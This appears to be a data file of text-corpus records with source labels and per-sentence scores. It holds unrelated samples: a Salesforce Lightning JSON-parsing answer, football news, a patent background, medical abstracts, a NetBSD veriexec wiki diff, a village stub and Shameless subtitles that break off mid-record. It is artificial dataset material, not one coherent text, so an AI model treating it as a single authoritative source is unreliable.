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[ "Q:\n\nHow can I parse my JSON blob in my Lightning Component\n\nI have a JSON blob that is stored in a Long Text field like this...\n{\n\"USD\":\"1.002\",\n\"GBP\":\"1.32\",\n\"EUR\":\"1.052\"\n}\n\nI would like to display this in a Lightning Component in a table in the following format\n-----------------------\n| Currency | Rate |\n-----------------------\n| USD | 1.002 |\n-----------------------\n| GBP | 1.32 |\n-----------------------\n| EUR | 1.052 |\n-----------------------\n\nI am able to create the Component and display the JSON blob but I'm not sure what the best way to parse it would be using Lightning.", "\n<aura:component implements=\"flexipage:availableForRecordHome,force:hasRecordId,force:hasSObjectName\">\n\n <aura:attribute name=\"record\" type=\"Object\"/>\n <aura:attribute name=\"simpleRecord\" type=\"Object\"/>\n <aura:attribute name=\"recordError\" type=\"String\"/>\n\n <force:recordData aura:id=\"recordLoader\"\n recordId=\"{!v.recordId}\"\n layoutType=\"FULL\"\n fields=\"JSON__c\"\n targetRecord=\"{!v.record}\"\n targetFields=\"{!v.simpleRecord}\"\n targetError=\"{!v.recordError}\"\n\n /> \n\n <!-- ", "Display a header with details about the record -->\n <div class=\"slds-page-header\" role=\"banner\">\n <p class=\"slds-text-heading_label\">Currency Exchange</p>\n <h1 class=\"slds-page-header__title slds-m-right_small\n slds-truncate slds-align-left\">Latest Rates</h1>\n {!", "v.simpleRecord.", "JSON__c}\n\n </div> \n\n</aura:component>\n\nA:\n\nYou have to convert the JSON__c field'cs value into Javascript object and then show it. ", "As you are using Lightning Data Services you would have to use a dataChange listener to listen to the record change. ", "Your code will be like.", "\n<aura:component implements=\"flexipage:availableForRecordHome,force:hasRecordId,force:hasSObjectName\">\n\n<aura:attribute name=\"record\" type=\"Object\"/>\n<aura:attribute name=\"simpleRecord\" type=\"Object\"/>\n<aura:attribute name=\"recordError\" type=\"String\"/>\n<aura:attribute name=\"mydata\" type=\"Object[]\"/>\n<aura:attribute name=\"mycolumns\" type=\"Object[]\"/>\n\n<force:recordData aura:id=\"recordLoader\"\n recordId=\"{!v.recordId}\"\n layoutType=\"FULL\"\n fields=\"JSON__c\"\n targetRecord=\"{!v.record}\"\n targetFields=\"{!v.simpleRecord}\"\n targetError=\"{!v.recordError}\"\n recordUpdated=\"{!c.drawTable}\"\n\n /> \n\n<!-- ", "Display a header with details about the record -->\n<div class=\"slds-page-header\" role=\"banner\">\n <p class=\"slds-text-heading_label\">Currency Exchange</p>\n <h1 class=\"slds-page-header__title slds-m-right_small\n slds-truncate slds-align-left\">Latest Rates</h1>\n {!", "v.simpleRecord.", "JSON__c}\n\n</div> \n\n<lightning:datatable data=\"{! ", "v.mydata }\" \n columns=\"{!v.mycolumns }\" \n keyField=\"id\"></lightning:datatable>\n\n</aura:component>\n\nANd JS controller will be ,\n({\ndrawTable : function(component, event, helper) {\n console.log('draw table called');\n var obj=component.get('v.simpleRecord');\n var jsonData=JSON.parse(obj.", "JSON__c);\n console.log(jsonData);\n\n component.set('v.mycolumns',[{label: 'Currency', fieldName: 'currency', type: 'text'},{label: 'Amount', fieldName: 'amount', type: 'text'}]);\n //Creating array for table rows\n var rows=[];\n\n for (var key in jsonData){\n var curName = key;\n var value = jsonData[key];\n rows.push({currency:curName,amount:value});\n }\n\n component.set('v.mydata',rows);\n}\n})\n\nHere I am using standard recordUpdated=\"{!c.drawTable}\" event to read the datChange and calling my JS method which converts the JS string to Javascript object and creates table accordingly. ", "\n\n" ]

{ "pile_set_name": "StackExchange" }

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[ "Former Republic of Ireland international Liam Lawrence is training with Championship strugglers Barnsley with a view to signing for the club.", "\n\nThe 32-year-old is currently with Greek Super League outfit PAOK but has only featured in twice for them this season.", "\n\nBarnsley boss Danny Wilson is said to be keen to add experience to his squad as he prepares to battle relegation over the second half of the season and the right sided midfielder could sign over the coming days.", "\n\nTim Clancy, meanwhile, is one of four players to have been told to look for another club by Hibernian with Terry Butcher looks to reshape the squad he inheritied from Pat Fenlon.", "\n\nThe 29-year-old Meathman, who has been playing in Scotland since joining Kilmarnock seven years ago, began his Easter Road career well in 2012 but has struggled with injuries of late and has not made a first team appearance this season.", "\n\nHis contract is due to expire in the summer." ]

{ "pile_set_name": "OpenWebText2" }

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[ "One major common problem faced by cellular and landline service providers is market competition. ", "In today's climate of competitive markets, cellular service providers have found that one way for them to grow market share and defend their businesses is to be proactive and form alliances, and to partner with landline service providers. ", "In addition, cellular service providers seek to differentiate their service offerings, and to capture the largest portion of market revenue by meeting an ever increasing demand for access to a wide range of media forms such as MP3 encoded audio, still and video imaging, data, instant messaging, and email. ", "In a similar manner, the landline service providers have found that to grow market share and ward off competition, they too must be proactive and form alliances, and to partner with cellular service providers. ", "Support for broad economical access to these converging forms of communication is needed to enable unfettered market growth, and to support the development and use of new handheld devices needed to provide increasing levels of mobile multimedia communication functionality.", "\nAlthough the formation of alliances and partnerships between cellular service providers and landline service providers may help to ward off competition, such alliances and partnerships are faced with other problems. ", "For example, the erection of cellular infrastructure such as cellular towers may be an expensive venture since this may require acquisition of real estate, whether in the form of outright purchases or through leasing. ", "Cellular infrastructure also requires the establishment of one or more expensive backbone links to handle core network traffic. ", "Another cellular-related problem is that the cellular signals do not penetrate and propagate in buildings such as homes and offices very well. ", "This is especially true with the frequencies that are typically utilized in the United States, which may vary between 800 MHz and 1900 MHz or 1.9 GHz.", "\nThe use of digital media is growing at an extremely rapid pace. ", "Most consumers today have a variety of intelligent devices that gather, store, process, generate, communicate, play back, and/or display information electronically, in a digital form. ", "Examples of such devices include digital still and video cameras, personal digital assistants (PDAs), laptop and desktop personal computer (PC) systems, video cassette recorders (VCRs), personal video recorders (PVRs), document and photo scanners, digital and high definition television sets, stereo audio equipment, and cellular phones, to name only a few. ", "Finding storage for the large amounts of data that may be produced by such devices is a constant issue. ", "Those receiving email on portable devices having limited internal memory may wish to archive copies for later reference. ", "Users of digital cameras find their memory cards filled and need to unload them, in order to be able to continue taking photographs. ", "Collectors of digital versions of music and movies require large amounts of storage for their collections. ", "Owners of digital video cameras may find themselves searching for storage to enable them to upload video clips to be sent to relatives, friends, and colleagues.", "\nOnce suitable storage is found, a new problem arises. ", "The user must maintain records of the location of each of the items of stored multimedia information, to enable them to later retrieve the material. ", "The user may desire to locate a particular piece of email, a specific video clip, or a certain song. ", "Present day tools fail to provide the functionality to easily identify and retrieve diverse pieces of multimedia information spread over a variety of storage devices.", "\nFurther limitations and disadvantages of conventional and traditional approaches will become apparent to one of skill in the art, through comparison of such systems with some aspects of the present invention as set forth in the remainder of the present application with reference to the drawings." ]

{ "pile_set_name": "USPTO Backgrounds" }

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[ "A highly specific rhodamine-based colorimetric probe for hypochlorites: a new sensing strategy and real application in tap water.", "\nBy fully utilizing the oxidation property of hypochlorites and different coordinating properties of Cu(+) and Cu(2+), the Cu(2+) sensor could act as a new good probe toward hypochlorites with high sensitivity as low as 8.1 × 10(-7) M, providing a novel approach to develop new probes for oxidants." ]

{ "pile_set_name": "PubMed Abstracts" }

[ 0.0006825802847743034, 0.0006716230418533087 ]

[ "package com.iveely.database.net;\n\nimport com.iveely.framework.net.", "Packet;\nimport com.iveely.framework.net.", "SyncServer;\n\n/**\n * @author liufanping@iveely.com\n */\npublic class ConnectEvent implements SyncServer.", "ICallback {\n\n @Override\n public Packet invoke(Packet packet) {\n throw new UnsupportedOperationException(\"Not supported yet.\"); // ", "To\n // change\n // body\n // of\n // generated\n // methods,\n // choose\n // Tools\n // |\n // Templates.", "\n }\n\n}\n" ]

{ "pile_set_name": "Github" }

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[ "--- wikisrc/veriexec.mdwn 2011/11/20 21:35:54 1.1\n+++ wikisrc/veriexec.mdwn 2012/02/05 07:14:36 1.2\n@@ -1,65 +1,65 @@\n-**Contents**\n-\n-[[!toc levels=3]]\n-\n-## What is verified executables?", "\n-\n-veriexec adds a new function to the exec-Path of the kernel, thus allowing the kernel to check a cryptographic hash for a binary. ", "With this feature, it is almost impossible to run manipulated binaries like a rootkit or a trojan.", "\n-\n-# How to enable it?", "\n-\n-veriexec has been implemented on NetBSD 2.0. ", "If you want to enable veriexec on your system, you have to build a release with veriexec supported, as described in this Document. ", "Either you use **GENERIC_VERIEXEC** or you add\n-\n- options VERIFIED_EXEC\n- #uncomment following 2 lines if you like verbose debugging\n- #options VERIFIED_EXEC_DEBUG\n- #options VERIFIED_EXEC_DEBUG_VERBOSE\n- pseudo-device verifiedexec 1\n-\n-\n-to your kernel configuration and recompile a new Kernel and Userland. ", "If you boot into the new Kernel with veriexec enabled, you will receive warning messages about inappropriate checksums, ignore them until your Userland has been setup to support veriexec properly. ", "After installing the new Userland, you are required to create **/dev/veriexec** with\n-\n- cd /dev && ./MAKEDEV veriexec\n-\n-\n-If done so, you should now create a database containing the files and hashes, using '**usr/share/examples/veriexecctl/gen_sha1** as a helper skript. ", "The system will now generate a file called signatures, containing all files and fingerprints. ", "It is a good idea to move **./signatures** to a write-protected media, like a floppy or to encrypt or sign it with e.g. PGP/GnuPGP, to ensure it's integrity. ", "Copy ./signatures to **/etc/** and add **veriexecctl ./signatures** to **/etc/rc.local** to load the signatures into kernelmemory. ", "If you reboot now and raise the kernelsecuritylevel to 1, /netbsd warns of not matching fingerprints for binaries, if you raise the level to 2 /netbsd will refuse to execute binaries with non-matching fingerprints. ", "Since you are required to use Kernelsecuritylevels, X won't run any longer on your machine, since it uses memory mapping to /dev/mem to acces your videocard.", "\n-\n-To generate a default signatures file fingerprinting your system files:\n-\n- veriexecgen -A -D\n-\n-\n-This will create a good base for your signatures file.", "\n-\n-# Strict levels\n-\n-## Level 0\n-\n-In strict level 0, learning mode, Veriexec will act passively and simply warn about any anomalies. ", "Combined with verbose level 1, running the system in this mode can help you fine-tune the signatures file. ", "This is also the only strict level in which you can load new entries to the kernel.", "\n-\n-## Level 1\n-\n-Strict level 1, or IDS mode, will deny access to files with a fingerprint mismatch. ", "This mode suits mostly to users who simply want to prevent access to files which might've been maliciously modified by an attacker.", "\n-\n-## Level 2\n-\n-Strict level 2, IPS mode, takes a step towards trying to protect the integrity of monitored files. ", "In addition to preventing access to files with a fingerprint mismatch, it will also deny write access and prevent the removal of monitored files, and enforce the way monitored files are accessed. (", "as the signatures file specifies).", "\n-\n-## Level 3\n-\n-Lockdown mode (strict level 3) can be used in highly critical situations such as custom made special-purpose machines, or as a last line of defense after an attacker compromised the system and we want to prevent traces from being removed, so we can perform post-mortem analysis. ", "It will prevent the creation of new files, and deny access to files not monitored by Veriexec.", "\n-\n-# Using together with secure levels\n-\n-In addition to using file flags, a kernel security level greater than 0 will also deny any write-access to kernelmemory **/dev/mem** and **/dev/kmem** so it is impossible to manipulate the signatures loaded into kmem, but you are also required to reboot the machine to use new signatures e.g. after installing new binaries.", "\n-\n-See [[Kernel secure levels]] for more details.", "\n-\n-\n-# Further links\n-\n- * [http://www.netbsd.org/guide/en/chap-veriexec.html](http://www.netbsd.org/guide/en/chap-veriexec.html) - A chapter in the NetBSD guide\n- * [http://www.free-x.ch/pub/proposal.txt](http://www.free-x.ch/pub/proposal.txt) - File Flags Proposal\n- * See [init(8)](http://netbsd.gw.com/cgi-bin/man-cgi?init+8+NetBSD-current) and [/usr/src/sys/sys/systm.h](http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/sys/sys/systm.h?rev=1.183.2.1;content-type=text%2Fx-cvsweb-markup) for information about security levels\n- * For securelevel in combination with X see also the program [sysutils/aperture](http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/pkgsrc/sysutils/aperture/)\n-\n+**Contents**\n+\n+[[!", "toc levels=3]]\n+\n+## What is verified executables?", "\n+\n+veriexec adds a new function to the exec-Path of the kernel, thus allowing the kernel to check a cryptographic hash for a binary. ", "With this feature, it is almost impossible to run manipulated binaries like a rootkit or a trojan.", "\n+\n+# How to enable it?", "\n+\n+veriexec has been implemented on NetBSD 2.0. ", "If you want to enable veriexec on your system, you have to build a release with veriexec supported, as described in this Document. ", "Either you use **GENERIC_VERIEXEC** or you add\n+\n+ options VERIFIED_EXEC\n+ #uncomment following 2 lines if you like verbose debugging\n+ #options VERIFIED_EXEC_DEBUG\n+ #options VERIFIED_EXEC_DEBUG_VERBOSE\n+ pseudo-device verifiedexec 1\n+\n+\n+to your kernel configuration and recompile a new Kernel and Userland. ", "If you boot into the new Kernel with veriexec enabled, you will receive warning messages about inappropriate checksums, ignore them until your Userland has been setup to support veriexec properly. ", "After installing the new Userland, you are required to create **/dev/veriexec** with\n+\n+ cd /dev && ./MAKEDEV veriexec\n+\n+\n+If done so, you should now create a database containing the files and hashes, using '**usr/share/examples/veriexecctl/gen_sha1** as a helper skript. ", "The system will now generate a file called signatures, containing all files and fingerprints. ", "It is a good idea to move **./signatures** to a write-protected media, like a floppy or to encrypt or sign it with e.g. PGP/GnuPGP, to ensure it's integrity. ", "Copy ./signatures to **/etc/** and add **veriexecctl ./signatures** to **/etc/rc.local** to load the signatures into kernelmemory. ", "If you reboot now and raise the kernelsecuritylevel to 1, /netbsd warns of not matching fingerprints for binaries, if you raise the level to 2 /netbsd will refuse to execute binaries with non-matching fingerprints. ", "Since you are required to use Kernelsecuritylevels, X won't run any longer on your machine, since it uses memory mapping to /dev/mem to acces your videocard.", "\n+\n+To generate a default signatures file fingerprinting your system files:\n+\n+ veriexecgen -A -D\n+\n+\n+This will create a good base for your signatures file.", "\n+\n+# Strict levels\n+\n+## Level 0\n+\n+In strict level 0, learning mode, Veriexec will act passively and simply warn about any anomalies. ", "Combined with verbose level 1, running the system in this mode can help you fine-tune the signatures file. ", "This is also the only strict level in which you can load new entries to the kernel.", "\n+\n+## Level 1\n+\n+Strict level 1, or IDS mode, will deny access to files with a fingerprint mismatch. ", "This mode suits mostly to users who simply want to prevent access to files which might've been maliciously modified by an attacker.", "\n+\n+## Level 2\n+\n+Strict level 2, IPS mode, takes a step towards trying to protect the integrity of monitored files. ", "In addition to preventing access to files with a fingerprint mismatch, it will also deny write access and prevent the removal of monitored files, and enforce the way monitored files are accessed. (", "as the signatures file specifies).", "\n+\n+## Level 3\n+\n+Lockdown mode (strict level 3) can be used in highly critical situations such as custom made special-purpose machines, or as a last line of defense after an attacker compromised the system and we want to prevent traces from being removed, so we can perform post-mortem analysis. ", "It will prevent the creation of new files, and deny access to files not monitored by Veriexec.", "\n+\n+# Using together with secure levels\n+\n+In addition to using file flags, a kernel security level greater than 0 will also deny any write-access to kernelmemory **/dev/mem** and **/dev/kmem** so it is impossible to manipulate the signatures loaded into kmem, but you are also required to reboot the machine to use new signatures e.g. after installing new binaries.", "\n+\n+See [[Kernel secure levels]] for more details.", "\n+\n+\n+# Further links\n+\n+ * [http://www.netbsd.org/guide/en/chap-veriexec.html](http://www.netbsd.org/guide/en/chap-veriexec.html) - A chapter in the NetBSD guide\n+ * [http://www.free-x.ch/pub/proposal.txt](http://www.free-x.ch/pub/proposal.txt) - File Flags Proposal\n+ * See [init(8)](http://netbsd.gw.com/cgi-bin/man-cgi?init+8+NetBSD-current) and [/usr/src/sys/sys/systm.h](http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/sys/sys/systm.h?rev=1.183.2.1;content-type=text%2Fx-cvsweb-markup) for information about security levels\n+ * For securelevel in combination with X see also the program [sysutils/aperture](http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/pkgsrc/sysutils/aperture/)\n+" ]

{ "pile_set_name": "Pile-CC" }

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[ "The relationship between parent-youth interaction and delinquency in group homes.", "\nInteractions between the youths and group home parents in 10 group homes were directly observed during a 2-hour session in each home. ", "These observations were compared to questionnaire measures of the youths' self-reported delinquency while in the group home, and their evaluation of the group home program. ", "The results indicated that over the 10 homes there was a strong inverse correlation between mean self-reported delinquency and the average amount of time youths spent taking to (rs = -.95) and in proximity to (rs = -.81) their group home parents. ", "Talking to group home parents also showed a positive correlation with the youths' evaluation of their group home program. ", "Similar trends were found when the correlations were computed over individual youths, although the magnitudes were reduced. ", "These data may have implications for our understanding of the relationship between parenting behaviors and delinquency, as well as for the improvement of group-home treatment programs." ]

{ "pile_set_name": "PubMed Abstracts" }

[ 0.0007656453526578844, 0.0005383231327868998, 0.000660463236272335, 0.0007529986323788762, 0.0005550755886361003, 0.0005727152456529438, 0.0005750823765993118 ]

[ "Tolon, Bakhsytsky Rural Okrug, Churapchinsky District, Sakha Republic\n\nTolon () is a rural locality (a selo) and the administrative center of Bakhsytsky Rural Okrug in Churapchinsky District of the Sakha Republic, Russia, located from Churapcha, the administrative center of the district. ", "Its population as of the 2010 Census was 414; up from 410 recorded in the 2002 Census.", "\n\nReferences\n\nNotes\n\nSources\nOfficial website of the Sakha Republic. ", "Registry of the Administrative-Territorial Divisions of the Sakha Republic. ", "Churapchinsky District. ", "\n\nCategory:Rural localities in the Sakha Republic" ]

{ "pile_set_name": "Wikipedia (en)" }

[ 0.000772423401940614, 0.0007650600746273994, 0.0005984400631859899, 0.0006998928729444742, 0.002241907874122262, 0.0006022404413670301 ]

[ "Lipid raft disease? ", "A new severe congenital myopathy.", "\nWe report a 5-year-old girl with a unique neuromuscular disorder manifested by early onset of the disease, delayed motor development, joint contractures, dysmorphy, cobbler's chest, generalized muscle hypoplasia and weakness. ", "Morphological examination revealed muscle cell immaturity and the appearance of multilamellar myelin-like structures within and outside the sarcolemma. ", "Overexpression of aberrant lipids on the surface of affected muscle cells may suggest some failure in lipid raft formation." ]

{ "pile_set_name": "PubMed Abstracts" }

[ 0.000940348778385669, 0.019402755424380302, 0.004444957710802555, 0.000942314334679395, 0.001574042602442205 ]

[ "\"'Now nobody's saying the Chatsworth Estate is the garden of Eden 'but it's been a good home to us - me, Frank Gallagher, 'and me kids who I'm proud of, 'cos every single one of them reminds me a little of me.\" \"'", "They can all think for themselves, which they've me to thank for.'\" \" ", "Run!\" \"", "Run for it!\" \" ", "Leg it!\" \"'", "Fiona, who's a massive help,\" \"'Lip, who's a bit of a gobshite, which is why nobody calls him Philip now, 'lan, a lot like his mam, 'which is handy for the others cos she's disappeared into thin air,\" \"'and Carl - we daren't let him grow his hair 'cos it stands on end and makes him look like Toyah and nits love it.\" \"'", "Debbie - sent by God.\" \"", "Total angel.\" \"'", "You've to check your change but she'll go miles out of her way to do you a favour.\" \"'", "Plus Liam - gonna be a star once we've got the fits under control.\" \"'", "Sheila, me bird.\" \"", "Couldn't be happier...\" \"One plate short of a full set, like.\" \"'", "Fantastic neighbours Kev and Veronica.\" \"", "Lend you anything.\" \"", "Well, not anything.\" \"'", "But all of them to a man know, first and foremost, 'one of the most vital necessities in this life 'is they know how to throw a party!\" \"'", "Scatter!\" \"'\" \"", "Moon river\" \"(Both) Wider than a mile I'm crossing you in style\" \"Some day\" \"We're... (Fiona) 'lt was Mum who said, you don't get anything free in this world, 'and I remember thinking, \"Well, water's free,\"\" \"'and then she left, leaving the final demand for the water rates 'and I discovered that even that had a price.'\" \"", "Moon rive-r-r-r\" \"A-a-a-a-nd me\" \"(Fiona) 'A big part of growing up in our house was about trying to find something 'for nothing.'\" \"", "You won't get benefits if you walked out of a job.\" \"", "So?\" \"", "I'll get another one.\" \"", "Just like that?\" \" ", "l've never struggled before.\" \" ", "You've only ever had one.\" \"", "Don't care. ", "I'm not being spoken to like a child for anybody.\" \"", "Couldn't you have said that to your boss?\" \"", "Chucking it in's a bit rash.\" \"", "Here you go.\" \"", "On me.\" \"", "Some things are worth standing up for.\" \"", "My two went to that nursery.\" \" ", "l've been that far off twatting her myself.\" \" ", "She's put herself out of work!\" \"", "If less of us put up with that shit, people like her might think twice.\" \"", "I wouldn't care, but she didn't pay anywhere near minimum wage.\" \"", "I haven't and I don't intend to.\" \"", "Them lot. \"", "When did you last have an accident?\"\" \"", "Makes you feel like you've missed out.\" \"", "What have I told you?\" \"!\" \" ", "We can stand here if we want.\" \" ", "We're only doing our job.\" \"", "Go do it somewhere else!\" \"", "Don't tell me that Costshopper don't get a cut when you stand in their door.\" \"", "You're hardly fucking Costshopper.\" \"", "This is your last warning.\" \"", "Cheers, Yvonne.\" \"", "THEY CHUCKLE\" \"Oh, God.\" \"", "God, talk to me.\" \"", "Talk.\" \"", "What is it?\" \"", "It's the third time I've seen him this week.\" \"", "We'll go the long way round.\" \"", "You've had him, haven't you?\" \"", "You have.\" \"", "You've gone red.\" \"", "When?\" \"", "He's dead fit, mind!\" \"", "Veronica!\" \"", "You have though, haven't you?\" \"", "I'm carrying his baby.\" \"", "I'm ten weeks overdue.\" \"", "Now can we please keep walking?\" \"", "Jesus, Fiona!\" \"", "How do you know it's his?\" \"", "Because I do.\" \"", "There hasn't been anyone else.\" \"", "And it isn't Steve's.\" \"", "Have you told him?\" \"", "No.\" \"", "And I'm not going to.\" \"", "Here we go.\" \"", "Are you right in the head?\" \"", "What's it gotta do with him?\" \"", "About half.\" \"", "He'll need to know what it'll cost him.\" \"", "It was an accident.\" \"", "He doesn't need to know.\" \"", "I've booked the abortion.\" \"", "And?\" \"", "I don't know whether I'm going to go through with it.\" \"", "I've not decided.\" \"", "It's cost you your job.\" \"", "No, it hasn't.\" \"", "That was me.\" \"", "Yeah, you pregnant, tetchy, worried.\" \"", "I was the only girl in my class who wasn't pregnant before her GCSEs.\" \"", "I've always been really proud of that.\" \"", "If you're worried about what he'll say, I could come with you.\" \"", "No.\" \"", "No, he doesn't need to know.\" \"", "Have you had an accident in the last five years?\" \"", "I don't think so.\" \"", "Are you sure?\" \"", "Do you know anyone who has?\" \"", "An accident?\" \"", "Boof!\" \"", "Packet of skins, large ones.\" \"", "And a baby...\" \"Baby thing...\" \"Dummy!\" \"", "Kids are driving me crazy.\" \"", "Hey, Yvonne.\" \"", "Had an accident in the past five years?\" \"", "Right, that is it!\" \"", "I've told them twice this morning.\" \"", "Down there, by the front.\" \"", "Oi!\" \"", "Next time, it'll be my baseball bat!\" \" ", "For fuck's sake!\" \" ", "We'll have you for that.\" \"", "Tell it to back of my head, loser!\" \"", "Oh!\" \"", "You big poof, sit down here.\" \"", "I'm fucking soaked!\" \"", "And my forms are ruined.\" \"", "Jesus, where's me tooth?\" \"", "You'll be all right, Frank.\" \"", "You've split your lip.\" \"", "You might have to go hospital.\" \"", "Where's my tooth?\" \"", "We'll take him to the hospital.\" \"", "I can't go, look at me!\" \"", "That's negligence.\" \"", "A classic claim.\" \" ", "You could be a rich man here.\" \" ", "Right you, out!\" \"", "Hang on a minute.\" \"", "is this what it's come to?\" \"", "Charity tins?\" \"", "Not for the first time.\" \"", "What's the point in me and lan working our arses off after school bringing in money, if you can just chuck a job away?\" \"", "You tell me.\" \"", "So the kids don't starve.\" \"", "This one's empty.\" \"", "It can't be.\" \" ", "Have you seen the state of this?\" \" ", "Yeah, I know.\" \" ", "But it's only till Fiona gets another job.\" \" ", "Loser!\" \"", "Rubbish.\" \"", "Because she starts work for Terry Wilson next Monday.\" \"", "Are you serious?\" \"", "He wants to see you first, make sure you're not a minger, but yep.\" \"", "You are brilliant!\" \"", "Fiona, I take it back.\" \"", "You're not a lazy, dim bitch.\" \"", "Terry Wilson died during a bypass.\" \"", "You say this every time his name comes up.\" \"", "Terry Wilson had a bad accident on a bypass, not during one.\" \"", "And he didn't die, else he wouldn't be offering her a driving job, would he?\" \"", "Driving?\" \"", "Can't drive.\" \"", "You can, I've seen you.\" \"", "No licence.\" \"", "Well, tell 'em it's at the DVLA and get a few lessons in quick.\" \"", "Do you want beans on these, Carol?\" \"", "No, thank you. ", "I'll get myself a fish without batter.\" \"", "It comes under public safety in a place of business.\" \"", "So many boxes I can tick here.\" \"", "Oh, Frank.\" \"", "You could have lost an eye.\" \"", "That would have been big money.\" \"", "I waited five hours in fucking casualty cos some guy who'd shot himself starts queue-jumping.\" \"", "But he died.\" \"", "Oh, Frank!\" \"", "True, but shot himself.\" \"", "Hello.\" \"", "Nye Bevan would turn in his grave if he thought twisted fucks like that were being prioritised over your average working fella.\" \"", "And they wonder where the money goes.\" \"", "Director of Health Services.\" \"", "Fucking chimps, the lot of them.\" \"", "Have you any head pains, Frank?\" \"", "What?\" \"", "Oh, yeah.\" \"", "Good.\" \"", "Blurred vision?\" \"", "Oh, yeah.\" \"", "I have actually.\" \"", "Since my 21 st.\" \"", "He's got the key to the door Never see life as it was before\" \"Too true.\" \"", "First drink was spiked with a medley of LSD and Spanish Fly.\" \"", "Got arrested for shagging the exhaust pipe of a Mini Metro.\" \"", "DV.\" \"", "Textbook.\" \"", "Double vision.\" \"", "Did you hear that, Sheila?\" \"", "I'm textbook.\" \"", "I'm not surprised.\" \"", "And that tooth wants capping pronto.\" \"", "I'll get you in private.\" \"", "Private?\" \"", "Thanks, love.\" \" ", "lt's all on the claim.\" \" ", "We have a referral scheme.\" \"", "Remember, Frank.\" \"", "No win, no fee.\" \"", "And we will win.\" \"", "Just need your autograph here and we'll make you a rich man, Frank.\" \"", "You obviously like him.\" \" ", "l don't!\" \" ", "You big liar!\" \"", "How many times have you said that men don't face up to their responsibilities?\" \"", "Never.\" \"", "Well I have.\" \"", "And if you don't tell him, he'll find out from the CSA down the line.\" \"", "If you decide to keep it.\" \"", "I don't need the CSA.\" \"", "Oh, hello!\" \"", "Single unemployed mum, which you will be once you start to show.\" \" ", "Tits are already bigger.\" \" ", "Are they?\" \"", "Eh, nowhere near mine, so keep your beady eyes off!\" \"", "Look, just go around and tell him and tell him quick.\" \"", "Trust your Auntie V.\" \"Hiya. ", "ls Frank in?\" \"", "We need to talk to him about this letter.\" \"", "Are you police officers?\" \"", "We're from the shop on the parade, Sheila.\" \"", "Oh, yeah.\" \"", "Sorry!\" \"", "Didn't recognise you without the strip lighting.\" \"", "Come in.\" \"", "Come in.\" \"(", "Kash) lt was an accident, Frank.\" \"", "We can't afford six grand.\" \" ", "We'd have to close the shop.\" \" ", "We don't want that, do we, Frank?\" \"", "They won't close!\" \"", "Kash.\" \"", "Hang on.\" \"", "Frank, be reasonable.\" \"", "I only want what's right, Kash.\" \"", "What's happened to trading standards?\" \"", "Mary Whitehouse?\" \"", "It's all in the hands of my lawyers.\" \"", "Don't do this. ", "I've built that shop from scratch.\" \"", "Whiplash, new tooth.\" \" ", "You know what that costs!\" \" ", "You wanker, Frank Gallagher.\" \"", "Don't ever show your pathetic face in my shop again!\" \"", "True colours now, is it?\" \"", "Setting the dogs on.\" \" ", "Very fucking red dot.\" \" ", "You wanna try earning a living like us.\" \" ", "Thought you were closing down!\" \" ", "lt's your son you're hurting.\" \"", "Come on, Kash.\" \"", "We're wasting our time.\" \"", "Thanks for coming.\" \"", "Yvonne, have we got any more pegs in the back?\" \"", "I don't know and I don't care!\" \"", "We're closing up.\" \"", "Come on you lot, out!\" \"", "What's happened?\" \"", "Your dad.\" \"", "Frank Gallagher!\" \"", "That's what's happened.\" \"", "I'm closing up.\" \"", "You're out of a job.\" \"", "I'm waiting to be served, here.\" \"", "Whatever it is, have it!\" \"", "I will not be blackmailed by people round here.\" \"", "If they wanna treat us like this, they don't deserve a shop.\" \"", "I forgot. ", "I wanted two tins of salmon.\" \"", "Can I take them as well?\" \"", "Don't push it!\" \"", "Ian, I'm sorry, but you're gonna have to go home.\" \"", "Kash, do the shutters!\" \"", "Can everyone leave now, please!\" \"", "This shop is no longer open for business.\" \"", "You don't have to do this.\" \"", "Kash, this is my shop.\" \"", "Ian, I'm sorry, but I've no choice here.\" \"", "is Craig in?\" \"", "Yeah, come in.\" \"", "Craig, visitor.\" \"", "Hello, stranger.\" \"", "Long time, no see.\" \"", "I just came to have a word.\" \"", "Right.\" \"", "This is Sue.\" \" ", "Hiya.\" \" ", "Me wife.\" \"", "Oh, right.\" \" ", "Hi.\" \" ", "This is Fiona.\" \" ", "Don't worry, it doesn't change anything.\" \" ", "We're not together.\" \"", "We haven't touched in two and a half years.\" \"", "Can't get shot of her!\" \"", "That's because the tight-arsed gimp won't give me what he owes me.\" \"", "There's two sides to that.\" \"", "Don't touch the pasta in the fridge, I'm having it later.\" \"", "Technically, this is all half mine.\" \"", "Otherwise I'd be long gone.\" \"", "Yours as in it was your dad who worked all his life to pay for it?\" \"", "No, mine as in rightful settlement.\" \"", "Watch him.\" \"", "Welcome to my world.\" \"", "Fiona!\" \"", "A flat three grand for this.\" \"", "Or so my lawyer tells me.\" \"", "Well, your face is your fortune, innit, Frank?\" \"", "Hey, Jez.\" \"", "Could we say I work here?\" \"", "Bring in a sick note.\" \"", "Loss of earnings.\" \"", "If I said you worked here, Frank, health and safety would shut me down.\" \"", "Oh, come on.\" \"", "The money I spend in here.\" \"", "D'you wanna see your bar tab?\" \"", "Claim for that and tell them you were driven to drink!\" \"", "You bastard!\" \"", "You stupid fucking bastard!\" \" ", "Jesus, what the fuck was that for?\" \" ", "Out!\" \"", "Shop's had to close cos of him!\" \"", "They can't afford to keep it open.\" \"", "I'm out of a job, Kash is out of a job, your family's on the breadline, and you don't give a fuck!\" \" ", "What are you talking about?\" \" ", "ls it shut?\" \"", "Ask him!\" \"", "He's suing the shop and they've had to close.\" \"", "Where are we gonna shop with that place gone?\" \"", "It's a half-mile walk to the precinct.\" \"", "Something's up.\" \"", "Yvonne were kicking off terrible and she chucked me out.\" \"", "So is it fucking shut?\" \"!\" \"", "Yes.\" \"", "She were cursing him.\" \"", "Right you, we're not serving you.\" \"", "You can't bar me!\" \"", "We're not barring you, Frank.\" \"", "We're just not choosing to serve you.\" \"", "Due to popular demand.\" \"", "Do we wanna serve someone who's closing our amenities?\" \" (", "All) No!\" \" ", "See.\" \"", "I don't believe this. ", "I'm really sorry, lan.\" \"", "I'm not finding him a job as well.\" \"", "Yours better work out, or we're up shit creek without a paddle.\" \"", "You all right?\" \"", "I can't keep it now.\" \"", "I really need this job, V.\" \"You'll be all right.\" \"", "Have you been round to lover boy's?\" \" ", "Yeah.\" \" ", "And?\" \"", "I met his wife.\" \"", "He's married!\" \"", "Jesus!\" \" ", "Who's married?\" \" ", 